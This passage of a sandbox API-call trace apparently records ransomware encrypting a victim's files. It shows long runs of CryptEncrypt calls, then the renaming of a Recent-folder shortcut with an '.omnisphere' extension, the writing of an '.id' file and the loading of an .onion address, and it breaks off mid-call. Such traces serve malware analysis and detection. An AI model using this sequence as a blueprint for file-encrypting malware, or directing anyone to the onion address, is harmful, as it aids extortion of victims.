pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.375] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.375] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.375] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.375] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.375] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.375] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.376] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.377] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.378] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.379] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.380] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.380] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.380] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.380] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.380] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.380] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.380] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.380] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.380] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.380] CryptDestroyKey (hKey=0x1639b68) returned 1 [0127.380] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0127.380] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x5ca, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.380] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.380] GetProcessHeap () returned 0x1600000 [0127.380] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x16f2ed0 [0127.381] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xM_J.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xm_j.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xM_J.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xm_j.lnk.omnisphere")) returned 1 [0127.382] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xM_J.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xM_J.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xM_J.lnk.omnisphere.id" [0127.382] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xM_J.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xm_j.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.383] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.384] CloseHandle (hObject=0x3c0) returned 1 [0127.384] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.385] CloseHandle (hObject=0x288) returned 1 [0127.385] SetEndOfFile (hFile=0x28c) returned 1 [0127.385] FlushFileBuffers (hFile=0x28c) returned 1 [0127.388] CloseHandle (hObject=0x28c) returned 1 [0127.389] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xM_J.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.389] GetProcessHeap () returned 0x1600000 [0127.389] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.389] GetProcessHeap () returned 0x1600000 [0127.389] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1c08 [0127.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1c08, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.389] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: 